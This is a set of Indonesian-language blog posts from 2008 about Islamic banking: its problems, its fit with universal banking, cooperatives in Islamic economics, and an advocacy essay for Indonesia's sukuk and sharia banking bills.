Sedangkan total volume usaha perbankan nasional secara keseluruhan mencapai angka 1087 trilliun rupiah. Kalau kita persentasekan, maka volume usaha perbankan syariah baru mencapai angka 0,23 % (Sumber : Biro Perbankan Syariah BI). Walau demikian, prospek perbankan syariah kedepannya sangat cerah, apalagi mengingat pangsa pasarnya yang sangat besar. Sehingga wajar jika kemudian banyak bank-bank konvensional yang membuka cabang syariah secara langsung maupun melalui konversi cabang-cabang konvensionalnya menjadi cabang syariah. Sementara di tingkat kecamatan, kita pun memiliki puluhan BPRS yang telah beroperasi di seluruh wilayah Indonesia. Permasalahan yang Dihadapi Perbankan Islam Sesungguhnya jika mau jujur, masih banyak permasalahan yang dihadapi oleh perbankan syariah. Adapun beberapa problematika yang muncul seiring dengan berkembangnya industri perbankan syariah dapat kita kategorikan pada beberapa masalah yang diantaranya adalah : Pertama, adalah kurangnya deposito. Perbankan yang beroperasi secara syariah tidak dapat menerima simpanan dari orang-orang yang ingin mendapat keuntungannya tanpa menanggung resiko apapun. Karena sesuai syariah, berbagi keuntungan tidak dibenarkan tanpa berbagi resiko. Jenis deposan seperti ini pada umumnya lebih cenderung untuk mendepositokan uangnya pada bank-bank yang beroperasi dengan system bunga / riba atau pada pasar modal (stock market). Yang kedua, masalah yang dihadapi oleh perbankan syariah adalah likuiditas berlebihan (excessive liquidity). Tentu saja bank Islam akan lebih cenderung mempertahankan rasio yang tinggi antara uang tunai dengan simpanannya bila dibandingkan dengan perbankan konvensional. Ini dilakukan untuk mengantisipasi penarikan rekening tabungan yang dilakukan nasabah sewaktu-waktu tanpa pemberitahuan terlebih dahulu. Kemudian tidak semua nasabah bank Islam yang potensial menyetujui meminjamkan uangnya berdasarkan prinsip musyarakah atau kemitraan. Pada umumnya nasabah lebih senang meminjam dana atas dasar mudarabah, atau bahkan meminjam dari bank konvensional dengan system bunga. Sebaliknya bank Islam akan lebih senang --dengan alasan resiko-- berinvestasi atas dasar musyarakah ketimbang mudarabah, karena dalam mudarabah, jika suatu usaha mengalami kerugian maka bank akan menanggung beban kerugian yang lebih besar ketimbang partnernya. Sikap konservatif investor dan bank tersebut akan menimbulkan likuiditas berlebihan. Bank Islam pun cenderung menahan lebih banyak cadangannya (baik pada kasnya sendiri maupun bank sentral) sebagai perlindungan atas kerugian dan menjaga kepuasan para nasabah potensialnya. Masalah yang ketiga, adalah problematika biaya dan profitabilitas. Bank Islam bekerja dengan aturan yang sangat ketat dan memilih investasi yang halal dan sesuai syariah saja. Implikasinya adalah bank Islam harus melakukan supervisi dan terkadang mengelola secara langsung operasional suatu proyek yang didanainya. Ini dilakukan untuk mereduksi pengeluaran manajerial. Akibatnya bank Islam harus memikul biaya tambahan yang tidak pernah terdapat pada pembukuan bank-bank berasas bunga. Bank Islam pun harus mampu meminimalisir potensi kerugian dari investasi mudarabahnya dan mengamankan tingkat keuntungan yang lebih tinggi dibandingkan dengan bank-bank riba. Hal ini menyebabkan bank Islam terdorong untuk mencari proyek yang segera memberikan keuntungan. Long gestation project (proyek dengan masa menunggu yang lama) dan proyek infrastruktur adalah proyek-proyek yang kurang menarik minat perbankan Islam, dimana bank Islam harus membayar keuntungan yang besar setiap tahun terhadap simpanan. Masalah keempat yang dihadapi selanjutnya adalah masalah pendanaan pinjaman untuk konsumsi. Bank Islam terkadang kesulitan untuk memberi pinjaman yang bertujuan konsumtif. Hal ini disebabkan oleh masih terbatasnya dana yang dapat dipinjamkan tanpa memperoleh keuntungan. Kemudian bank-bank Islam yang ada saat ini masih kesulitan untuk mengumpulkan dana zakat, infak, maupun shadaqah pada skala yang besar, padahal dana zakat ini merupakan potensi yang sangat luar biasa, dan bisa dijadikan sebagai salah satu sumber pendanaan pinjaman untuk tujuan konsumtif. Masalah yang kelima adalah masih minimnya sumberdaya manusia yang memahami secara komprehensif segala hal yang berkaitan dengan industri perbankan syariah. Sehingga dalam prakteknya, seringkali terjadi penyimpangan-penyimpangan aktivitas transaksi yang tidak sesuai dengan syariah. Karena itu Dewan Pengawas Syariah harus berperan aktif didalam mengawasi segala aktivitas usaha yang dilakukan bank Islam. Kemudian perlu ditingkatkan berbagai upaya sosialisasi secara terus menerus mengenai system perbankan yang sesuai dengan syariah. Dan masalah keenam yang dihadapi kalangan perbankan syariah adalah belum maksimalnya institusi undang-undang yang menjadi payung hukum bagi keseluruhan aktivitas perbankan Islam. Karena itu kita perlu mendukung secara penuh upaya untuk membuat RUU Perbankan Syariah yang direncanakan akan selesai pada akhir 2003 ini. Bahkan sudah saatnya kita mengembangkan wacana bank sentral syariah sebagai payung bersama bagi seluruh bank yang beroperasi berdasarkan sistem syariah. Bagaimanapun juga bank-bank syariah membutuhkan institusi bank sentral tersendiri, yang terpisah dengan bank sentral yang sudah ada. Karena tidak mungkin dalam suatu institusi ada dua system yang memiliki perbedaan-perbedaan yang sangat mendasar, akibatnya akan selalu ada permasalahan-permasalahan yang dapat menghambat perkembangan salah satunya. Dalam kasus ini, bisa jadi yang terhambat adalah perkembangan perbankan syariah. Wallahu 'alam bi ash-shawab. # Penulis adalah mahasiswa S2 jurusan Ekonomi Islam, International Islamic University Islamabad, Pakistan

Sistem Perbankan Syariah Perlu Diberdayakan

2008-02-05T09:36:00.000+02:00

Sistem Perbankan Syariah Perlu Diberdayakan

Jakarta, Sinar Harapan
Masyarakat Ekonomi Syariah (MES) mengimbau Bank Indonesia (BI) untuk lebih memperhatikan perkembangan bank-bank syariah dan membentuk lembaga khusus yang menangani perbankan syariah. Selama ini, BI hanya fokus pada perbankan umum atau konvensional saja.
Demikian diungkapkan Aries Muftie, Sekretaris Umum MES dan Nurdin Hasibuan , Direktur Utama Bank Mandiri Syariah dalam pembukaan bedah buku “Bunga Bank Haram” karya DR Yusuf Al-Qardhawi di Jakarta, Kamis (4/4).
Menurut Aries, sudah saatnya bank-bank syariah mendapat perhatian khusus dari pemerintah. “Syukur-syukur, yang tadinya level Biro ditingkatkan menjadi Deputi Gubernur Syariah. Dan nantinya diharapkan ada lembaga tersendiri yang mengurus pengembangan perbankan syariah,” ungkapnya.
Kepada Bank Indonesia, kata Aries, MES juga memohon agar tidak hanya memperhatikan bank umum saja yang boleh menjalankan bank syariah. Kalau bisa, Badan Perkreditan Rakyat (BPR) juga boleh dual system.
Sekiranya, BPR belum mampu untuk mendirikan cabang, mungkin dapat menggunakan windows dulu. “Tetapi, nantinya mempunyai asset tertentu unit syariah tersebut harus berubah menjadi cabang. “Misalnya, portofolio cabangnya sudah lebih dari 50 persen harus membuka cabang sendiri,” ujar Aries.
Menurut Aries, selama ini banyak regulasi menyangkut keuangan yang belum ada nuansa ekonomi syariahnya. Misalnya yang akan keluar RUU Ekonomi Mikro ataupun Undang-Undang Pasar Modal dan Otoritas Jasa Keuangan. “Ke depan kita tidak ingin kecolongan dalam hal ini. Undang-undangnya sudah jadi, tetapi kita tidak diperhatikan,” ujar Aries.
Sementara itu, Nurdin Hasibuan menambahkan, sebenarnya ekonomi Islam telah menawarkan beragam cara dan model berbisnis (ber-muamalah), baik melalui cara Murabahah (Sale and Purchase), Musyarakah (Partnership, Project Financing Participation), Mudharabah (Trust Financing/Investment), Ijarah (Operational Lease) maupun Wadiah (Depository).
“Skim-skim kerja sama/transaksi dalam system ekonomi Islam tersebut telah kita laksanakan dalam dunia usaha. Sesungguhnya memiliki keunggulan dan daya tahan yang tinggi terhadap goncangan krisis ekonomi, dibandingkan dengan system yang ribawi,” tegas Nurdin.
Karena kita sudah lama tenggelam dalam system ribawi, ujar Nurdin, maka kita tidak merasakan lagi hal tersebut sebagai sesuatu bentuk kekeliruan
Namun, menurut Maman Somantri, Deputi Gubernur Bank Indonesia, telah ada Undang-Udang No.10 tahun 1998 yang mengamanatkan BI sebagai otoritas moneter dan perbankan untuk melaksanakan sistem perbankan ganda (dual banking system).
Sampai per Januari 2002 terdapat 2 bank umum syariah dengan 36 kantor Cabang dan 4 bank umum konvensional yang membuka unit syariah dengan 13 kantor Cabang, Sementara itu jumlah BPR Syariah telah mencapai 80 bank. “Saat ini BRI dan Danamon juga telah mengajukan izin pembukaan kantor cabang syariah,” ujar Maman. (ian)

SISTEM PERBANKAN SYARIAH & UNIVERSAL BANKING

2008-02-05T07:56:00.000+02:00

SISTEM PERBANKAN SYARIAH & UNIVERSAL BANKING

{ Januari 2, 2008 @ 6:21 pm } · { Uncategorized }
{ }

Sejak tahun 1970-an, perbankan syariah telah muncul sebagai suatu kenyataan yang baru di dunia keuangan internasional. bank syariah modern untuk pertama kali didirikan di Dubai dengan nama Dubai Islamic Bank pada tahun 1973. Kemudian bank syariah berkembang di berbagai negara, bahkan hingga ke negara-negara yang berpenduduk mayoritas non Muslim, seperti di Denmark , Luxembourg , Switzerland , United Kingdom , dan Amerika Serikat.

Tujuan utama menegakkan perbankan islam di seluruh dunia adalah untuk mempromosikan, memelihara, dan mengembangkan penerapan prinsip-prinsip Islam di dalam sektor bisnis. Secara lebih khusus, tujuan bank islam dilihat dari konteks peran dalam perekonomian adalah:

- menerapkan jasa keuangan kontemporer yang disesuaikan dengan Syariah islam;

- berkontribusi terhadap pertumbuhan ekonomi dan kemakmuran dengan prinsip-prinsip hukum islam;

- alokasi sumber daya keuangan yang terbatas ke dalam proyek yang lebih menguntungkan dan bermanfaat untuk perekonomian;

- membantu melindungi keseimbangan distribusi pendapatan dan sumber daya.

Oleh karena bank syariah dapat melayani siapa saja, muslim maupun non muslim, maka jasa-jasa perbankan syariah telah dilihat oleh bank-bank internasional sebagai alternatif pembiayaan bagi dunia usaha. Hal ini dilakukan misalnya oleh Citicorp, Chase Manhattan Bank, ANZ Bank, Commersbank G, Deutsche Bank AG, HSBC, Bankers Trust, JP Morgan, Goldman Sachs, dan lainnya. Sedangkan di Indonesia sendiri, bank syariah baru berdiri pada tahun 1992. Hingga tahun 1998, hanya satu bank syariah beroperasi di Indonesia . Setelah keluarnya Undang-Undang Perbankan Nomor 10 tahun 1998 yang merubah Undang-Undang Perbankan Nomor 7 tahun 1992 dan mengakomodir peraturan tentang bank syariah, barulah lahir sank syariah lain dan berkembang dengan pesat. Pada akhir September 2007 jumlah bank syariah di Indonesia mencapai 28 Bank, terdiri dari 3 Bank Umum Syariah (BUS) dan 25 Unit Usaha Syariah (UUS) bank umum.

Sementara itu, di beberapa negara Eropa berkembang suatu sistem perbankan yang dikenal sebagai Universal Banking. Universal Banking adalah suatu system perbankan di yang bukan hanya memberikan pinjaman, tetapi juga dapat berfungsi sebagai penjamin hutang perusahaan dan atau menjadi pemegang saham (pemodal) pada perusahaan sekuritas. Sebagai contoh, perbankan umum di Jerman, dapat menerima simpanan berjangka, meminjamkan uang, penjamin saham perusahaan, dan berperan sebagai penasihat investasi perusahaan besar. Dalam system Universal Banking, tidak ada pemisahaan antara perbankan komersial dengan perbankan investasi.

Universal Banking System memungkinkan bank untuk menggunakan informasi nasabah dengan lebih baik dan mengijinkan perbankan menjual lebih banyak servis di bawah satu atap seperti “Financial Supermaket”. Sisi negatif dari sistem ini, adalah adanya kemungkinan konsentrasi kekuatan ekonomi pada sejumlah kecil institusi bank besar yang memegang modal pada perusahaan yang juga berperan sebagai peminjam dana.

Dalam perkembangannya, sistem perbankan syariah dapat diterima oleh semua masyarakat keuangan internasional, bukan hanya yang beragama Islam, dan terus tumbuh dengan signifikan dari tahun ke tahun. Hal ini disebabkan nilai-nilai dalam operasional bank syariah terus berorientasi kepada etika bisnis yang sehat dan juga menawarkan jasa-jasa yang jauh lebih banyak daripada perbankan konvensional. Perbankan syariah dapat menawarkan jasa-jasa lebih dari yang ditawarkan oleh investment banking, karena jasa-jasa bank syariah merupakan suatu kombinasi yang dapat diberikan oleh commercial bank, finance company, dan merchant bank. Oleh karena itu, system perbankan syariah berpeluang besar dikembangkan sebagai universal banking.

Selain di beberapa negara Eropa, universal banking system juga digunakan sebagi model bagi beberapa lembaga perbankan di Amerika. Namun terdapat perbedaan penerapan antara di Eropa dengan di Amerika. Secara umum, isu-isu universal banking pada sistim perbankan di daratan Eropa. berkisar pada hal-hal sebagai berikut:

a. Konsep universal banking dimana bank memegang kendali sepenuhnya posisi asset jangka pendek dan jangka panjang memungkinkan bank untuk mengurangi information asymmetries dan internalise risk. Namun pada sisi lain kondisi ini akan mendorong moral hazard akibat “pasar ganda” dimana pada saat terjadi krisis ekonomi, bank yang memiliki informasi lengkap akan segera meninggalkan pasar. Begitu kondisi nasabah memburuk bank bisa mensekuritisasi pembiayaannya dan menjual portfolionya.

b. Penerapan universal banking juga akan mendorong beberapa problem moral hazard seperti; rendahnya return riil para deposan, tingginya return relatif yang mendorong bank dan nasabah untuk menciptakan misalokasi dana, tingginya biaya bank ketika moral hazard memburuk, bank terdorong untuk mengambil posisi penyertaan lebih besar.

Sementara itu, isu yang muncul pada penerapan konsep universal banking versi Amerika adalah ketidakmampuan bank untuk memenuhi harapan stakeholder. Pada mulanya, munculnya konglomerasi industri keuangan diharapkan akan menciptakan keuntungan yang signfikan; (1) tingginya tingkat efisiensi dan profitabilitas akibat semakin tingginya skala ekonomis, (2) peningkatan tingkat kesehatan bank akibat diversifikasi usaha (3) tingkat kepuasan nasabah semakin tinggi karena konsep one-stop shopping akan mengurangi biaya.

Pada kenyataannya kondisi perbankan di Amerika dan secara global memperlihatkan bahwa bank-bank besar dengan konsep universal banking secara umum gagal untuk mewujudkan improvement pada tingkat efisiensi, profitabilitas, value nasabah dan pemegang saham. Konglomerasi perbankan malah memperbesar systemic risk karena mereka terdorong untuk memasuki aktifitas dengan return dan risiko yang tinggi terkait dengan pasar modal. Pada akhirnya peningkatan risiko ini mendorong fenomena “too big to fail”.

Sebagaimana dikemukakan di atas, bahwa sistem perbankan syariah yang dapat menawarkan jasa-jasa lebih dari yang ditawarkan oleh investment banking, berpeluang besar dikembangkan sebagai universal banking. Dengan demikian, hal-hal yang perlu diperhatikan dalam aplikasi perbankan Syariah pada konsep universal banking adalah konsistensi pemeliharaan dan pengembangan penerapan prinsip-prinsip Islam di dalam sektor bisnis. Prinsip-prinsip ekonomi islam yang harus dipertahankan bagi konsep universal banking adalah nilai keadilan, efisiensi, stabilitas, dan pertumbuhan.

Nilai keadilan dapat dirasakan dengan menggunakan sistem perbankan Syariah adalah sebagai berikut:

Risiko usaha dibagi lebih adil antara pelaku usaha dengan pemilik modal;
Mengganti pengembalian yang tetap dengan pembagian proporsional dari keuntungan yang akan menentukan pengembalian yang adil pada modal tanpa peduli apakah keuntungan usaha tinggi atau rendah dan tidak peduli pada tingkat harga yang dipengaruhi oleh inflasi, stabilitas dan deflasi;
Kekayaan akan menghasilkan kekayaan kembali kepada pemilik ketika pekerjaan dalam aktivitas ekonomi pada akhirnya memberikan nilai tambah.

Nilai efisiensi yang harus dapat diperoleh dengan memanfaatkan perbankan syariah pada konsep universal banking adalah:

Perbedaan dalam pembiayaan yang cenderung pada pembagian risiko modal, yakni dengan melakukan pembiayaan yang bermanfaat, namun tidak harus sangat produktif dalam menghasilkan laba;
Pembagian hasil dan atau keuntungan disepakati secara adil antara pemberi dan pengguna modal, dengan keputusan akhir bersama untuk usaha;
Menjaga hubungan sosial antara kelas yang berbeda pada pemberi dan pengguna modal.

Penggunaan prinsip non bunga akan menjadi faktor pendukung stabilitas, karena dapat mengurangi kecenderungan inflasi serta penciptaan uang yang tidak berhubungan dengan investasi produktif.

Memperhatikan bahwa Universal Banking adalah suatu sistem perbankan yang bukan hanya memberikan pinjaman, tetapi juga dapat berfungsi sebagai penjamin hutang perusahaan dan atau menjadi pemegang saham (pemodal) pada perusahaan sekuritas, serta hal-hal yang berkaitan dalam ekonomi islami, yakni keberagaman jenis kerjasama serta tujuan nilai keadilan, efisiensi, stabilitas dan pertumbuhan, maka dapat disimpulkan bahwa sistem universal banking cocok diterapkan dengan sistem perbankan syariah. Penerapan nilai-nilai syariah diharapkan juga dapat meminimalkan permasalahan moral.dalam konsep universal banking secara global.

EKONOMI SYARIAH UNTUK KEMASLAHATAN BANGSA

2008-02-05T07:55:00.000+02:00

Memperhatikan fungsi, peranan dan prinsip Koperasi di atas, maka konsep-konsep Koperasi tersebut tidak jauh berbeda dengan tujuan yang ada pada Sistem Ekonomi Syariah, yakni menuju kesejahteraan yang berkeadilan. Namun dalam Islam, menurut Qardhawi (1997), keadilan yang dimaksud bukanlah pemerataan secara mutlak, tetapi adalah keseimbangan antara individu dengan masyarakat, antara suatu masyarakat dengan masyarakat lainnya. Hal tersebut mengandung implikasi bahwa pembagian laba atau sisa hasil usaha harus merefleksikan kontribusi yang diberikan kepada Koperasi oleh anggota bukan hanya sekedar modal (financial) tetapi juga berupa modal keahlian, waktu, kemampuan manajemen, good will, dan kontrak usaha. Kerugian usaha juga harus dirasakan bersama sesuai proporsi modal dan tuntutan-tuntutan lain yang timbul akibat usaha tersebut.

Sistem Ekonomi Syariah mengakui adanya perbedaan pendapatan dan kekayaan pada setiap orang dengan syarat bahwa perbedaan tersebut diakibatkan karena setiap orang mempunyai perbedaan keterampilan, inisiatif, usaha, dan resiko. Namun perbedaan itu tidak boleh menimbulkan kesenjangan yang terlalu jauh antara yang kaya dengan yang miskin karena kesenjangan yang terlalu dalam tidak sesuai dengan Syariah Islam yang menekankan bahwa sumber-sumber daya bukan saja karunia dari Allah bagi semua manusia, melainkan juga merupakan amanah

Menurut Umer Chapra (2000), koperasi merupakan bentuk organisasi bisnis berorientasi kepada pelayanan yang dapat memberikan sumbangan yang kaya kepada realisasi sasaran-sasaran suatu perekonomian Islam. Dengan penekanan Islam pada persaudaraan, maka koperasi dalam memecahkan persoalan yang saling menguntungkan antara berbagai pihak, seharusnya mendapatkan penekanan yang besar dalam sebuah masyarakat Islam. Koperasi dapat menyumbangkan sejumlah pelayanan kepada para anggota, termasuk penyediaan keuangan berjangka pendek bila diperlukan melalui dana mutual, ekonomi penjualan dan pembelian dalam jumlah besar, pemeliharaan fasilitas, pelayanan bimbingan, bantuan atau pelatihan untuk memecahkan persoalan-persoalan manajemen dan teknik, dan asuransi mutual. Sesungguhnya, sulit melihat bagaimana suatu masyarakat Islam modern dapat secara efektif merealisasikan tujuan-tujuannya tanpa suatu peran yang dimainkan oleh Koperasi. Oleh karena itu, sudah sepantasnya, untuk memulai pendirian Koperasi yang beranggotakan jamaah masjid dan masyarakat di sekitar lingkungannya, namun tentu saja dengan memperhatikan dan menggunkana kaidah-kaidah ekonomi dan keuangan yang tidak bertentangan dengan Syariah Islam.

Penulis: MERZA GAMAL (Pengkaji Sosial Ekonomi Islami)

EKONOMI SYARIAH UNTUK KEMASLAHATAN BANGSA

{ Februari 4, 2008 @ 10:23 am } · { Keuangan, Perbankan Syariah }
{ } · { Komentar }

(Argumentasi Rasional RUU Sukuk dan Perbankan Syariah)

Oleh Agustianto

Kelahiran Undang-Undang Perbankan Syariah dan Undang-Undang Surat Berharga Syariah Negara (SBSN) sebenarnya sudah diambang pintu. Sejak lama masyarakat ekonomi syariah mendambakan dan menanti kehadirannya di Indonesia. Saat ini, DPR RI tengah mengagendakan pembahasan kedua RUU ekonomi syariah tersebut yang direncanakan akan dibahas bulan April mendatang. Namun secara phobi dan irrasional, Partai Damai Sejahtera (PDS) menolak pembahasan kedua RUU tersebut. Memang, di alam demokrasi penolakan tersebut adalah sesuatu yang wajar, tetapi penolakan secara membabi buta dan emosional adalah suatu tindakan yang sangat naif.

Penolakan PDS terhadap kedua RUU ekonomi syariah tersebut antara lain disebabkan karena PDS salah faham dengan ekonomi syariah. Karakter dasar ekonomi syariah ialah sifatnya yang universal dan inklusif. Ekonomi syariah mengajarkan tegaknya nilai-nilai keadilan, kejujuran, transparansi, anti korupsi, dan ekspolitasi. Artinya misi utama ekonomi syariah adalah tegaknya nilai-nilai akhlak moral dalam aktivitas bisnis, baik individu, perusahaan ataupun negara.

Sebagaimana disebut tadi, karakter fundamental dari ekonomi syariah, adalah universal dan inklusif. Bukti universalisme dan inklusivisme ekonomi syariah cukup banyak.

Pertama, bahwa ekonomi syariah telah dipraktikkan di berbagai negara Eropa, Amerika, Australia, Afrika dan Asia. Singapura sebagai negara sekuler juga mengakomodasi sistem keuangan syariah. Bank-Bank raksasa seperti ABN Amro, City Bank, HSBC dan lain-lain, sejak lama telah menerapkan sistem syari’ah. Demikian pula ANZ Australia, juga telah membuka unit syari’ah dengan nama First ANZ International Modaraba, Ltd. Jepang, Korea, Belanda juga siap mengakomodasi sistem syariah. Bagaimana PDS memandang fakta-fakta ini?, Aneh dan ajaib.

Fakta itu sejalan dengan laporan the Banker, seperti dikutip info bank (2006) ternyata Bank Islam bukan hanya di dirikan dan dimiliki oleh negara atau kelompok muslim, tetapi juga di negara-negara non muslim, seperti United kingdom, USA, Kanada, Luxemburg, Switzerland, Denmark, Afrika Selatan, Australia, India, Srilangka, Fhilipina, Cyprus, Virgin Island, Cayman Island, Swiss, Bahama, dan sebagainya. Sekedar contoh tambahan, di luxemburg, yang menjadi Managing Directors di Islamic Bank Internasional of Denmark adalah non Muslim yaitu Dr. Ganner Thorland Jepsen dan Mr. Erick Trolle Schulzt.

Kedua, kajian akademis mengenai ekonomi syariah juga banyak dilakukan di universitas- universitas Amerika dan negara Barat lainnya . Di antaranya, Universitas Loughborough di Inggris. Universitas Wales, Universitas Lampeter yang semuanya juga di Inggeris. Demikian pula Harvard School of Law, (AS), Universitas Durhem, Universitas Wonglongong, Australia. Di Harvard University setiap tahun digelar seminar ekonomi syariah bernama Harvard University Forum yang membahas tentang Islamic Finance. Malah, tahun 2000 Harvard University menjadi tuan rumah pelaksanaan konferensi Internasional Ekonomi Islam Ke-3.

Perhatian mereka kepada ekonomi syariah dikarenakan keunggulan doktrin dan sistem ekonomi syariah. Karena itulah, maka banyak ekonom non muslim yang menaruh perhatian kepada ekonomi syariah serta memberikan dukungan dan rasa salut pada ajaran ekonomi syariah, seperti Prof Volker Ninhaus dari Jerman (Bochum Universitry) , William Shakpeare, Rodney Wilson, dan sebagainya. Dr. Iwan Triyuwono, seorang ahli akuntansi dari Fakultas Ekonomi Universitas Brawijaya, ketika menulis disertasinya tentang akuntansi syari’ah di Universitas Wolongong, Australia, mendapat bimbingan dari promotor, seorang ahli akuntansi syari’ah yang ternyata seorang pastur.

Ketiga, Harus pahami larangan riba (usury) yang menjadi jantung sistem ekonomi syariah bukan saja ajaran agama Islam, tetapi juga larangan agama-agama lainnya, seperti Nasrani dan Yahudi. Dengan demikian, bagi pemeluk agama manapun, ekonomi syariah sesungguhnya tidak menjadi masalah.

Pandangan agama Yahudi mengenai bunga terdapat dalam kitab perjanjian lama pasal 22 ayat 25 yang berbunyi, Jika engkau memin-jamkan uang kepada salah seorang dari umatku yang miskin diantara kamu, maka janganlah enkau berkaku seperti orang penagih hutang dan janganlah engkau bebankan bunga uang padanya, melainkan engkau harus takut pada Allahmu supaya saudaramu dapat hidup diantaramu”.

Pandangan agama Nasrani mengenal bunga, terdapat dalam kitab perjanjian lama kitab deuteronomiy pasal 23 ayat 19.”Janganlah engkau membungakan uang terhadap saudaramu baik uang maupun bahan makan yang dibungakan”.Selanjutnya dalam perjanjian baru dalam injil lukas ayat 34 disebutkan, “Jika kamu menghutangi kepada orang yang kamu harapkan imbalannya, maka dimana sebenarnya kehormatan kamu, tetapi berbuatlah kebajikan dan berikanlah pinjaman dengan tidak mengharapkan kembalinya karena pahala kamu akan banyak”.

Melihat pandangan kedua agama tersebut tentang pelarangan bunga, amatlah tepat untuk menyimpulkan bahwa umat non muslimpun harus menyambut baik lembaga-lembaga keuangan dan system ekonomi tanpa bunga. Hal ini dikarenakan ekonomi syariah telah memberikan jalan keluar dari larangan kitab suci di atas. Dan inilah agaknya sarana yang paling tepat untuk mengembangkan kerja sama dalam memerangi bunga yang telah dilarang agama samawi tersebut. Fakta kerjasama ini telah banyak terjadi di Indonesia, seperti di Kupang, Palu, Menado, Maluku Utara dan sebagainya. Para deposan dan nasabah bank-bank syariah banyak (dominan) dari kalangan non muslim dan tokohnya para pendeta.

Keempat, para filosof Yunani yang tidak beragama Islam juga mengecam sistem bunga. Sejarah mencatat, bangsa Yunani kuno yang mempunyai peradaban tinggi, melarang keras peminjaman uang dengan bunga. Aristoteles dalam karyanya politics telah mengecam sistem bunga yang berkembang pada masa Yunani kuno. Dengan mengandalkan pemikiran rasional filosofis, tanpa bimbingan wahyu, ia menilai bahwa sistem bunga merupakan sistem yang tidak adil. Menurutnya uang bukan seperti ayam yang bisa bertelur. Sekeping mata uang tidak bisa beranak kepingan uang yang lain. Selanjutnya ia mengatakan bahwa meminjamkan uang dengan bunga adalah sesuatu yang rendah derajatnya. Sementara itu, Plato (427-345 SM), dalam bukunya “LAWS”, juga mengutuk bunga dan memandangnya sebagai praktek yang zholim. Menurut Plato, uang hanya berfungsi sebagai alat tukar, pengukuran nilai dan penimbunan kekayaan. Uang sendiri menurutnya bersifat mandul (tidak bisa beranak dengan sendirinya). Uang baru bisa bertambah kalau ada aktivitas bisnis riel. Pendapat yang sama juga dikemukan Cicero. Ketiga filosof Yunani yang paling terkemuka itu dipandang cukup representatif untuk mewakili pandangan filosof Yunani tentang larangan bunga.

Berdasarkan fakta-fakta tersebut, maka tidak perlu ada yang takut (phobi) kepada ekonomi syariah, karena manfaat ekonomi syariah akan dinikmati oleh semua komponen rakyat di Indonesia, bahkan jika diterapkan di skala global, akan menciptakan tata ekonomi dunia yang adil dan makmur.

Ekonomi syariah yang melarang kegiatan riba dan spekulasi, akan menciptakan stabilitas ekonomi bangsa secara menyeluruh. Ekonomi syariah yang mengedepankan gerakan sektor riil (bukan derivatif), akan secara signifikan menumbuhkan ekonomi nasional dan tentunya ekonomi rakyat. Tegasnya, ekonomi syariah akan membantu pembangunan ekonomi negara dan bangsa.

Argumentasi- argumentasi lain.

Alasan-alasan penerimaan RUU Perbankan dan RUU Surat Berharga Syariah Negara, menjadi Undangt-Undang antara lain :

Pertama, secara yuridis, kehadiran UU Sukuk dan UU Perbankan syariah adalah didasarkan pada Pancasila dan UUD 45. Jadi, penerapan hukum ekonomi syariah di Indonesia memiliki dasar yang sangat kuat. Ketentuan Pasal 29 ayat (1) dengan tegas menyatakan bahwa Negara berdasar atas Ketuhanan Yang Maha Esa, pada dasarnya mengandung tiga makna, yaitu:

a. Negara tidak boleh membuat peraturan perundang-undangan atau melakukan kebijakan-kebijakan yang bertentangan dengan dasar keimanan kepada Tuhan Yang Maha Esa;

b. Negara berkewajiban membuat peraturan perundang-undangan atau melakukan kebijakan-kebijakan bagi pelaksanaan wujud rasa keimanan kepada Tuhan Yang Maha Esa dari segolongan pemeluk agama yang memerlukannya;

c. Negara berkewajiban membuat peraturan perundang-undangan yang melarang siapa pun melakukan pelecehan terhadap ajaran agama (paham ateisme).

Dalam pasal 29 ayat (2) UUD 1945 disebutkan bahwa negara menjamin kemerdekaan tiap-tiap penduduk untuk memeluk agamanya masing-masing dan untuk beribadat menurut agama dan kepercayaannya itu. Kata “menjamin” sebagaimana termaktub dalam ayat (2) pasal 29 UUD 1945 tersebut bersifat “imperatif”. Artinya negara berkewajiban secara aktif melakukan upaya-upaya agar tiap-tiap penduduk dapat memeluk agama dan beribadat menurut agama dan kepercayaannya itu

Sebenarnya, melalui ketentuan pasal 29 ayat (2) UUD 1945, seluruh syariat Islam, khususnya yang menyangkut bidang-bidang hukum muamalat, pada dasarnya dapat dijalankan secara sah dan formal oleh kaum muslimin, baik secara langsung maupun tidak langsung, dengan jalan diadopsi dalam hukum positif nasional

Keharusan tiadanya materi konstitusi dan peraturan perundang-undangan yang bertentangan dengan nilai-nilai ke-Tuhanan Yang Maha Esa tersebut adalah konsekuensi diterapkannya Prinsip Ketuhanan Yang Maha Esa sebagai salah prinsip dasar penyelenggaraan negara Jadi, kehadiran kedua Undang-Undang ekonomi syariah tersebut, tidak bertantangan dengan Pancasila, UUD 45 dan tidak menggangu keutuhan NKRI.

Kedua, secara faktual, sistem ekonomi syariah melalui perbankan telah terbukti menunjukkan keeunggulannya di masa-masa krisis, khususnya krisis yang diawali tahun 1997. Ketika semua bank mengalami goncangan hebat dan sebagian besar dilikuidasi, tetapi bank-bank syariah aman dan selamat dari badai hebat tersebut, karena sistemnya bagi hasil. Ajaibnya, bank syariah dapat berkembang tanpa dibantu sepeserpun oleh pemerintah. Sementara bank-bank konvensional hanya dapat bertahan karena memeras dana APBN dalam jumlah ratusan triliun melalui BLBI dan bunga obligasi.Hal itu berlangsung sampai detik ini. Dana APBN itu adalah hak seluruh rakyat Indonesia, tetapi rakyat terpaksa dikorbankan demi membela bank-bank sistem konvensional agar bisa bertahan. Perbankan syariah tampil sebagai penyelamat ekonomi negara dan bangsa. Maka sangat tidak logis dan irrasional, jika ada pihak yang menolak kehadiran regulasi syariah.

Jadi, yang hendak ditawarkan ekonomi syariah bukanlah ajaran agama tertentu, tetapi adalah nilai-nilai keadilan, kejujuran , tranparansi, tanggung jawab, yang menjadi nilai-nilai universal bagi semua orang. Nilai-nilai itu berasal dari Alquran hadits.

Ketiga, secara historis, pengundangan (legislasi) hukum syariah di Indonesia telah banyak terjadi di Indonesia, seperti UU No 7/1989 tentang Peradilan Agama yang selanjutnya diamendemen UU No 3 Tahun 2006. Demikian pula UU tentang pengelolaan Zakat, UU Perwaqafan, dan UU Haji. Undang-Undang yang mengatur hukum untuk umat Islam saja dapat diterima DPR, apalagi Undang-Undang tentang ekonomi yang bertujuan untuk kebaikan, kemajuan dan kemaslahatan bangsa dan negara secara universal, jelas semakin penting untuk diterima dan diwujudkan oleh siapapun yang terpanggil untuk kemajuan negara.

